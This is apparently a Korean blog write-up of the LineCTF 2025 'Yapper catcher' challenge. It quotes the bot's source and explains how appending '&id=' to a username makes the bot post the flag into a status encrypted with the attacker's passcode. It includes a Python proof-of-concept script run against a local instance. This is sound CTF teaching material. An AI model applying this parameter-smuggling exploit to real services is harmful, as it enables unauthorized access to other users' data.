Home LineCTF 2025 Write-up
Post
Cancel

LineCTF 2025 Write-up

Line CTF 2025 - Yapper catcher 문제 풀이 입니다.

Result

FermionAlp팀으로 참여해서 6th를 했습니다.
6th

저는 Yapper catcher 문제를 하나 풀었네요. 열심히 해서 다음엔 팀에 더 기여할 수 있도록….

FLAG

/bot/quotes.js 를 보면 봇이 남기는 문구에 FLAG가 삽입되어 응답합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const superDuperInspirationalQuotes = [
  "Sometimes, the journey to <flag> is not about reaching the destination, but about discovering who you become along the way.",
  "The <flag> you seek is already within you, waiting to unfold in its perfect timing.",
  "Embrace the mess of <flag>, for within it lies the beauty of your growth.",
  "To find peace in <flag>, you must first find peace within yourself.",
  "The path to <flag> might seem long, but each step brings you closer to a version of yourself you never imagined.",
  "No matter the storm, <flag> will always find a way to shine through.",
  "Every setback in your <flag> journey is simply the universe redirecting you to something greater.",
  "True growth in <flag> comes not from doing, but from being.",
  "Let your <flag> be guided by your heart, and your path will always lead you home.",
  "In the broken pieces of <flag>, you will find the strength to rebuild what is better.",
]
var rr = 0;

const getQuote = () => {
  let quote = superDuperInspirationalQuotes[rr];
  quote = quote.replace('<flag>', process.env.FLAG);
  rr = (rr + 1) % superDuperInspirationalQuotes.length;

  return quote;
}

module.exports = getQuote;

봇이 visit() 동작 하는 코드를 보면 page/?user={username}username, quote 를 입력하여 post-status 버튼을 클릭합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
const visit = async (username) => {
  try {
    console.log("Spreading quote...")
    const browser = await puppeteer.launch({
      headless: "true",
      executablePath: `/usr/bin/google-chrome`,
      args: [
        "--disable-gpu",
        "--disable-dev-shm-usage",
        "--disable-setuid-sandbox",
        "--no-sandbox",
        '--ignore-certificate-errors'
      ],
      product: "chrome"
    });

    let page = (await browser.pages())[0];
    const quote = getQuote();

    await page.goto(process.env.SERVER_URL + '/?user=' + username)
    await page.type('input#username', username);
    await page.type('textarea#quote', quote);
    await page.click('button#post-status');
    await page.waitForNavigation();

    console.log(`Quote is at ${page.url()}`)

    await browser.close();

    console.log(`Closed browser`)
  } catch (e) {
    console.error(e);
    try {
      await browser.close();
      console.log(`Closed browser`)
    } catch (e) { }
  }
}

Write-up

봇을 이용해 내가 작성한 패스코드로 암호화된 글에 FLAG 가 포함되게 만든 뒤 해당 글을 복호화 하면 됩니다.

  • 방문 URL이 SERVER_URL + ‘/?user=’ + username 이고, 폼 제출로 상태가 생성/갱신
  • 신규 생성 시 passcode 미존재 일 경우 서버가 랜덤 패스워드를 생성하지만 갱신하는 형태일 경우 기존 패스코드로 암호화되어 누적 저장됩니다.

아래 사진 처럼 id 변수에 status 값이 들어가면 해당 status가 작성한 글 들을 볼 수 있습니다.
해당 status가 포함된 상태로 글을 작성하게 하면 passcode는 내가 처음에 작성한 passcode로 글이 추가 됩니다.

status

PoC

  • 실제 문제에서는 reCapcha가 있으나, 도커에서는 reCapcha 지우고 함
  • /bot/index.js 에 recaptcha 주석 처리함
1
2
3
4
5
6
7
8
app.post('/bot/quote', async (req, res) => {
  const { username } = req.body;
  // if (!await verify(req.body)) {
  //   return res.send(`Bot-powered yapper bot? Not on my watch`);
  // }
  visit(username);
  return res.send(`Bot is yapping as ${username}`);
})
  • 글을 하나 작성하여 passcode 설정 및 status 값을 가져옴
  • bot(yapper)에게 username 변수 뒤에 &id={statusID}를 추가하여 이미 작성된 status에 추가로 작성하도록 요청
  • 봇이 동작할 때 까지 기다린 후 status 목록을 보면 새로운 글이 작성된 것을 확인할 수 있고, 처음에 만든 passcode 입력 시 FLAG를 획득할 수 있음
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests
from bs4 import BeautifulSoup
import time

INFO = lambda x: print(f"[+] {x}")
URL = "http://127.0.0.1:9001"


def get_status_id():
    data= {
        "user":"glasses96",
        "quote":"test",
        "passcode":"glasses96"}
    res = requests.post(f"{URL}",data=data,allow_redirects=False)

    statusID = res.headers['Location'].split("/")[1]
    INFO(f"Status ID: {statusID}")
    return statusID

def bot_quote(statusID):

    PATH = "/bot/quote"

    data = {
        "username":f"glasses96&id={statusID}"
    }

    res = requests.post(f"{URL}{PATH}",data=data,proxies={"http":"127.0.0.1:8174"})
    INFO(f"Response: {res.text}")
    return res.text

def get_encrypted_values(statusID):
    res = requests.get(f"{URL}/{statusID}")
    soup = BeautifulSoup(res.text, 'html.parser')

    encrypted_user = soup.find('input', {'id': 'encrypted-user-1'})['value']
    INFO(f"Encrypted User: {encrypted_user}")

    encrypted_quote = soup.find('input', {'id': 'encrypted-quote-1'})['value']
    INFO(f"Encrypted Quote: {encrypted_quote}")
    return encrypted_user, encrypted_quote

def decrypt_flag(encrypted_user, encrypted_quote):

    data = {
        "user":encrypted_user,
        "quote":encrypted_quote,
        "passcode":"glasses96"
    }

    res = requests.post(f"{URL}/decrypt",data=data,allow_redirects=False)
    return res.text
        

if __name__ == "__main__":
    statusID = get_status_id()
    bs4_data = bot_quote(statusID)
    
    time.sleep(60)
    while True:
        res = requests.get(f"{URL}/{statusID}")
        if "encrypted-user-1" in res.text:
            INFO("Find encrypted-1 values!")
            break
        
    get_encrypted_values(statusID)
    encrypted_user, encrypted_quote = get_encrypted_values(statusID)
    flag = decrypt_flag(encrypted_user, encrypted_quote)
    INFO(f"Flag: {flag}")
1
[+] Flag: {"success":true,"data":{"user":"glasses96&id=96b6cc94864699c66b1cd1c3a7220944","quote":"Sometimes, the journey to LINECTF{test} is not about reaching the destination, but about discovering who you become along the way."}}